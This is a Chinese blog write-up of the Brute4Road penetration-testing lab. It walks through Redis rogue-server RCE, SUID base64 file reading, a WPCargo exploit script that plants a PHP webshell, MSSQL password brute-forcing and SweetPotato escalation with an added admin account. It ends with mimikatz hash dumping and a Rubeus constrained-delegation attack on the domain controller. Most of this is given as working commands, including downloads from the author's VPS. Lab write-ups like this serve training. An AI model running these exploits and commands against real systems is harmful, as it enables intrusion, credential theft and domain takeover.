春秋云境-Brute4Road 【详细解析】

靶标介绍:

Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag,分布于不同的靶机。

内网地址Host or FQDN简要描述
172.22.2.7外网 Redis 服务器
172.22.2.18UBUNTU-WEB02WordPress 服务器
172.22.2.16MSSQLSERVER.xiaorang.labMSSQL 数据库
172.22.2.34CLIENT01.xiaorang.lab远程桌面服务未启用 NLA 的主机
172.22.2.3DC.xiaorang.labDC

开题

image-20240812014033509

Flag1

信息搜集

搜集靶标信息,有两种可行的方式,nmap和fscan

nmap是一款非常强大的主机发现和端口扫描工具,而且nmap运用自带的脚本,还能完成漏洞检测,同时支持多平台。

nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan_Jay17.txt 【IP】

image-20240812014156724

fscan是一款用go语言编写的开源工具,一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描。该工具支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis 批量写公钥、计划任务反弹 shell、读取 win 网卡信息、web 指纹识别、web 漏洞扫描、netbios 探测、域控识别等功能。

fscan.exe -h 【IP】

image-20240812014422973

发现有个ftp匿名登录,但是只有一个空的pub文件夹,没啥用。

同时发现开放6379有redis的未授权,重点看redis。


Redis 主从复制RCE

在内网中很容易遇见Redis未授权漏洞

redis 版本是 5.0.12,虽然版本大于5.0.5(有可能扫出来是错的),分析后发现应该是打 Redis 主从复制RCE

注:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

参考文章:

Redis系列漏洞总结 - FreeBuf网络安全行业门户

Redis未授权四种利用方式与修复方案_redis未授权访问漏洞修复建议-CSDN博客

工具:

https://github.com/n0b0dyCN/redis-rogue-server

Windows下或者Linux下运行(不知道咋的,我的kali用不了只能用vps跑)

python3 redis-rogue-server.py --rhost 【Target-IP】 --lhost 【VPS-IP】 --lport 21002

image-20240812074513826

image-20240812074726996

拿到shell之后输入下面的命令,创建一个伪终端。

python -c 'import pty; pty.spawn("/bin/bash")'

为什么要建立伪终端呢,主要是tty的原因,tty有什么用可以看我这篇文章:Polar 这又是一个上传_polar 自由的文件上传系统-CSDN博客

伪终端建不建对这题影响不大,是个习惯。

image-20240812074657926

此外,使用 msf 也可以打 Redis 主从复制RCE。

/home/redis/flag目录下发现了flag,但是没有权限读取,八九不离十要提权了

image-20240812075303829


Base64提权

首先是提权起手式,查找具备suid权限的命令:

find / -user root -perm -4000 -print 2>/dev/null

比较明显的是base64

image-20240812075428988

利用 base64进行 suid 提权(这种提权只能读取文件)

base64 "/home/redis/flag/flag01" | base64 --decode

image-20240812075647647


Flag2

我们在自己的vpn起一个web服务(我喜欢用python),然后我们将要用到的工具wget传过去(fscan(漏洞扫描)、frp(流量代理,后来因为不稳定换成了gost)、wpscan(wordpress漏洞扫描,kali自带)

服务器执行命令:

cd /root/Jay17/1-nwst
chmod 777 -R ./
python3 -m http.server 9023

image-20240812235207126

image-20240813012305403

跳板机(Redis服务所在主机)执行命令:

cd /tmp

wget http://124.71.147.99:9023/frp/frpc
wget http://124.71.147.99:9023/frp/frpc.ini
wget http://124.71.147.99:9023/fscan

ls

chmod 777 fscan
chmod 777 frpc
chmod 777 frpc.ini

image-20240813012456405

刚刚getshell的那台主机(Redis)作为我们的跳板机。

img

我们先把代理挂上,简单配置一下

内网穿透frp下载安装及配置(自动化测试报告利器)-CSDN博客

frp内网穿透_frp下载-CSDN博客

代理服务器客户端Proxifier使用教程 Proxifier图文设置 - DoubleLi - 博客园 (cnblogs.com)

frpc.ini

[common]
server_addr = 124.71.147.99
server_port = 17000

[plugin_socks6]
type = tcp
remote_port = 10000
plugin = socks5

frps.ini

[common]
bind_port = 17000

服务器(服务端,所以是frps)上开frp服务端监听

nohup ./frps -c ./frps.ini

image-20240813013256931

靶机(客户端,所以是frpc)开frp

nohup ./frpc -c ./frpc.ini

image-20240813013337453

Proxifier左上角配置文件->代理服务器-添加

image-20240813000212871

设置一下代理为我的VPS124.71.147.99。这里的端口是frpc.ini里面配置的socks5端口,也就是10000

image-20240813013459831

配置一下代理规则,主要是:动作换成socks5,目标主机换成172.22.2.*

image-20240813013650502

在物理机浏览器访问内网地址(在后文内网扫描步骤得到的),代理成功!

image-20240813013806869

frp(反向代理)有点不稳定(后面远控靶机windows经常掉),使用gost(正向代理)进行代理。

redis服务所在的主机已经getshell了,传好文件设置好777权限后,执行以下命令:(真是方便又好用,谢谢chu0✌)

./gost -L=:10001 &

image-20240813030903752

直接代理到靶机(比frp省了一个VPS的步骤)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

内网扫描

内网渗透主要是基于前期外围打点getshell的webserver,通过收集webserver上的信息,然后对其他内网主机进行口令上的攻击,当然也有一些基于漏洞的攻击。同一域内的主机不计其数,域用户不计其数,为了便于记忆和管理,域成员的密码很多都会有重合。当我们拿到某个域成员的密码,就可以利用它把口子越撕越大,不断丰富我们的密码字典,然后不断地对域内主机进行爆破,直至拿下DC(域控)。

如果你是第一次接触内网渗透,以下的文章可能可以帮助你理解基本概念:

浅谈内网渗透基础知识(一) - FreeBuf网络安全行业门户

如何从零构建对内网穿透的理解-CSDN博客

手把手教你如何进行内网渗透-CSDN博客

内网渗透初探(一) | 小白简单学习内网渗透 - 先知社区 (aliyun.com)

Vulnstack(一)_vulnstack1-CSDN博客

内网渗透之代理转发 - FreeBuf网络安全行业门户

本机没有 ifconfig 命令无法查看ip,这里使用netstat -ano命令来查看网段,这个命令本意是查看端口开放情况。

netstat -ano

image-20240813012546868

当然也可以传个 cdk 执行 ifconfig 命令./cdk ifconfig

可以看到本机内网ip为172.22.2.7

使用fscan进行内网漏洞扫描

./fscan -h 172.22.2.0/24 -o res.txt

结果

./fscan -h 172.22.2.0/24 -o res.txt

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.18     is alive
(icmp) Target 172.22.2.7      is alive
(icmp) Target 172.22.2.3      is alive
(icmp) Target 172.22.2.16     is alive
(icmp) Target 172.22.2.34     is alive
[*] Icmp alive hosts len is: 5
172.22.2.7:6379 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.3:445 open
172.22.2.18:445 open
172.22.2.34:139 open
172.22.2.16:139 open
172.22.2.3:139 open
172.22.2.34:135 open
172.22.2.18:139 open
172.22.2.3:135 open
172.22.2.16:135 open
172.22.2.16:80 open
172.22.2.18:22 open
172.22.2.7:80 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.18:80 open
172.22.2.3:88 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo 
[*]172.22.2.3
   [->]DC
   [->]172.22.2.3
[*] NetInfo 
[*]172.22.2.16
   [->]MSSQLSERVER
   [->]172.22.2.16
[*] WebTitle http://172.22.2.16        code:404 len:315    title:Not Found
[*] NetBios 172.22.2.34     XIAORANG\CLIENT01             
[*] NetInfo 
[*]172.22.2.34
   [->]CLIENT01
   [->]172.22.2.34
[*] WebTitle http://172.22.2.7         code:200 len:4833   title:Welcome to CentOS
[*] OsInfo 172.22.2.3	(Windows Server 2016 Datacenter 14393)
[*] OsInfo 172.22.2.16	(Windows Server 2016 Datacenter 14393)
[*] NetBios 172.22.2.18     WORKGROUP\UBUNTU-WEB02        
[*] NetBios 172.22.2.16     MSSQLSERVER.xiaorang.lab            Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.2.3      [+] DC:DC.xiaorang.lab               Windows Server 2016 Datacenter 14393
[+] ftp 172.22.2.7:21:anonymous 
   [->]pub
[*] WebTitle http://172.22.2.18        code:200 len:57738  title:又一个WordPress站点
已完成 20/20
[*] 扫描结束,耗时: 12.67817925s

整理一下内网主机

172.22.2.3 DC
172.22.2.7  本机 
172.22.2.16 MSSQLSERVER
172.22.2.18  WordPress站点
172.22.2.34  XIAORANG\CLIENT01

看结果,有个wordpress,是漏洞点。

WPCargo插件<6.9.0 未授权RCE

接下来使用wpscan工具扫描wordpress站点,发现公开漏洞

修改kali的代理(这步使用的还是frp进行代理)

vim /etc/proxychains4.conf

image-20240813014321213

kali运行wpscan

proxychains4 wpscan --url http://172.22.2.18 2>/dev/null

image-20240813014620488

发现使用了一个插件:wpcargo

漏洞参考文章:

https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a

https://github.com/biulove0x/CVE-2021-25003

利用脚本写入木马:

import sys
import binascii
import requests

# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'

def encode_character_code(c: int):
    return '{:08b}'.format(c).replace('0', 'x')

text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]

destination_url = 'http://172.22.2.18/'
cmd = 'ls'

# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
    f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)

# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
    f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))

因为做好代理了,所以直接在物理机上执行脚本:

image-20240813014750402

浏览器访问http://172.22.2.18/webshell.php?1=system,发现成功写入后门

image-20240813015012211

蚁剑连接getshell

使用刚刚生成的后门连接蚁剑,注意类型要选择 CMDLINUX。(V2.1.14新增,适配这种后门木马,可以看这篇文章:Releases · AntSwordProject/antSword (github.com)

image-20240813015118339

文件中没flag,猜测flag在数据库中。查看wp-config.php文件,得到数据库用户密码。

image-20240813015203600

连接数据库,可以先检测一下再连

image-20240813015251148

image-20240813015318585

找到flag2。

image-20240813015327960

数据库中还找到一些密码,先留存下来

image-20240813015701220

Flag3

MSSQLSERVER密码爆破

还记得内flag2网扫描阶段发现的主机172.22.2.16 MSSQLSERVER吗,我们尝试用上面获得的密码本爆破下MSSQLSERVER的密码。

默认用户sa,爆破得到密码ElGNkOiC

image-20240813020133263

默认端口1433,Multiple.Database.Utilization.Tools工具连接MSSQLSERVER

image-20240813021552634

连成功之后激活所有组件,编码选择GBK,之后就可以执行命令了

image-20240813021653515

甜土豆提权

Multiple.Database.Utilization.Tools工具连接MSSQLSERVER和土豆提权是高度绑定的,同时目前用户是mssqlserver,权限太低。所以下一步甜土豆提权到system。

右键上传甜土豆到public目录

image-20240813021821101

执行命令。提权成功!

C:/Users/Public/SweetPotato.exe -a "whoami"

image-20240813022112844

尝试新加用户jay17,密码为whoami@666

net user jay17 whoami@666 /add

image-20240813022225506

并将用户jay17加到管理组,赋予最高权限

net localgroup administrators jay17 /add

image-20240813022250660

远程桌面连接

具备管理组用户jay17后,我们尝试远程桌面连接

image-20240813022358448

使用刚刚创建的用户密码

image-20240813022432698

在Administrators用户目录下发现flag3

image-20240813022530560

Flag4

域信息搜集

执行命令systeminfo,发现域环境xiaorang.lab

image-20240813022743212

kali安装,neo4j是个数据库,bloodhound是工具。

apt install neo4j
apt install bloodhound

BloodHound是一款可视化图形分析域环境中的关系的工具,以用图与线的形式,将域内用户、计算机、组、Sessions、ACLs以及域内所有相关用户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在红队人员面前进行更便捷的分析域内情况,更快速的在域内提升自己的权限。它也可以使蓝队成员对己方网络系统进行更好的安全检测及保证域的安全性。

Neo4j是一款NOSQL图形数据库,它将结构化数据存储在网络上而不是表中,Bloodhound利用这种特性加以合理分析,可以更加直观的将数据以节点空间”来表达相关数据。BloodHound通过在域内导出相关信息,在将数据收集后,将其导入Neo4j数据库中,进行展示分析。

执行以下命令,进入neo4j控制台,端口7474,默认账号密码neo4j/neo4j

neo4j console

修改下neo4j的默认密码,之后用bloodhound连接一下neo4j

image-20240813030115077

利用system权限,SharpHound工具搜集域信息上传 SharpHound.exe工具,进行域环境分析

C:/Users/Public/SweetPotato.exe -a "C:/Users/jay17/Desktop/SharpHound.exe -c all"

image-20240813024459785

生成的文件(包含了域信息)复制出来

image-20240813031701044

kali中bloodhound打开,得到一张图

image-20240813031921491

image-20240813052340955

image-20240813052709040

我们现在位于MSSQLSERVER.XIAORANG.LAB。

AllowedToDelegate

image-20240813052951151

image-20240813052801404

MSSQLSERVER 配置了到 DC LDAP 和 CIFS 服务的约束性委派,可以用Rubeus申请自身的服务票据,通过 S4U 协议伪造高权限 ST 拿下域控

约束委派攻击

上传minikatz到MSSQLSERVER服务所在靶机,读取域用户哈希

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit

image-20240813053244272

Username : MSSQLSERVER$
NTLM     : ff8c8dd5d4b745cf83b34caa1ffe3db5

用Rubeus.exe申请用户MSSQLSERVER的TGT票据

  1. TGT(Ticket Granting Ticket):

    • 在计算机安全和身份验证(如Kerberos协议)中,TGT通常指Ticket Granting Ticket。这是一种用于用户身份验证的票证。用户在成功验证身份后,会收到TGT,然后用它来请求访问特定服务的票证,而不需要再次输入密码。
  2. ST(Service Ticket):

    • 同样在Kerberos等身份验证系统中,ST通常指Service Ticket。TGT用于请求ST,ST则用于访问特定服务。用户通过TGT获取ST后,使用ST访问目标服务。
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ff8c8dd5d4b745cf83b34caa1ffe3db5 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt

image-20240813032729740

打开1.txt,复制票据的base64编码

image-20240813032756154

通过Rubeus的S4U2Self协议代表域管理员申请针对域控LDAP服务的票据并注入内存

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE1tP8AzBwuBATLNy9q2ZXt/9Kjhm7jqe1T0spzJcp95hzCUx/J81bu4tUftiEul1sBPC6g8DMPc8iHiyutFpHs/oo4gzdUf8Ao0D5li8RNRR59hedFOIAO5NUcCX/naBydvUDybfesO2xvW3bvC7oDL6+iFOYlbNx75sXfp7VDJTY0PeN8wMxWjxgYe4LmnxBt2xBjBNN6JWR8LIzFEOWga0C76kSktrKgsROJSncs3rgGO+IHZ5g/qhz0AMX9pywJwrvo3+pMQy8gTqhLFViUVE9Ct+hmxcQI5N1Nii+khmkPRp+kmEhvOVBJ0eV82sk+vMFNjZT9ZDEEWn1j2J3NXE7gAdNhSPHXuItawwy44gxx2zJ1nNPNujCaDsKLkR2zcT77yqhlUURJY3UIwMGylnd5Fy2w9XrxFJhv2sAgJkx7HcmDkJPnU4POE3WcpjdsMatzyah89XuqU6O9iVTXYXz22NNpbwWiFrwjbRIP6ndlrkxXYrOSq1aVCf68Cv0F8GyM/m3VFTv361+RK/uAytpRLiL8bhKrbDrSDwteduTlvfq/AI5HlYcOZVKrQQtFxPCWgyQttINccHjsIYKpCBhwihHhiot1WG9pAaZV8DlVVo2DU7wjn2TLQmm6xAOVBuvydZwzo3rX5JG0VuZ3pqmyMTIlrbCDMbr6KXoDtRDpq7nokItjsJHUHPWFMqv81uP3wiAp6PK9Bb6E/YNxBtg9kCP8JzwBe8lqbIqK+D/EJ6IMbGa9Oydj4rp4u3Sg5z1mzg3bUSIoTyalYoYpaA/QGMMd9LAfImPbOtya8Op6cqeK4JFGBulD+X6obkhxkUdTeezdRAO7B9NgrW97+vUJq54f5Axhx1xil3XqM95370ys1kJx71AtAWTKuffAqOFay3NU+TLctuiLgl4SLJ5zRnlCYB5tMCiOcx6X2/OO1BblWMnGsuRXM+wFG22ylBirh8snTDm1C2bzkqOab78fh4EclrimYVR8p+fv6l2+94Z9Z4nJfULD8P20j9L4g3jGcgIubRa4K+/eBiA5fk88AUF5ODlkGBfiBx20pMROEcJB6SfwDdO8S8WwE/QlFi5OkYK+hqBVnOn981b4SqK5J+GitJDJ2Fg/augqe47SXi6Bdn571RGW8UDMUziR1V0J9edvZdQvI4gsusf1cO0YY3Wp59V8rcjbPTPBiBF4btFGnB3OnFyeUa4rN7ogHQPfGslvOXZ4AdAiUPe2XKhJ0uT99hMk6GeEgA4B12vi23ZR7dBmi0fesK5XLkgcz5oZWlVCD/ZmHTG25BeQTNfZNW0ilev8WBdA/hGcCemDXfu4uMLZt3uuIHJYTfJZjQJ82758W0BoAL5fsS/VN2tG488hulVFXjAfxEBG1T6Xz+/QK7BBbXGbFmz231qBQesXqWoi7o3XUXlneTvuchEd0YwEQ//j7PTmKw6bO88ypYh3DpHnv+e2RI+KjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBAG7KNH5/AVN0DqYMNnVLEQoQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDI0MDgxMjE5MjcxOVqmERgPMjAyNDA4MTMwNTI3MTlapxEYDzIwMjQwODE5MTkyNzE5WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==

image-20240813032948932

image-20240813033003726

\\DC.xiaorang.lab\C$

查看域控C盘下\Users\Administrator路径的文件结构

dir \\DC.xiaorang.lab\C$\Users\Administrator

image-20240813055030047

获取flag文件内容

type \\DC.xiaorang.lab\C$\Users\Administrator\flag\flag04.txt

image-20240813055046536

OK,收工

image-20240813033246344

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值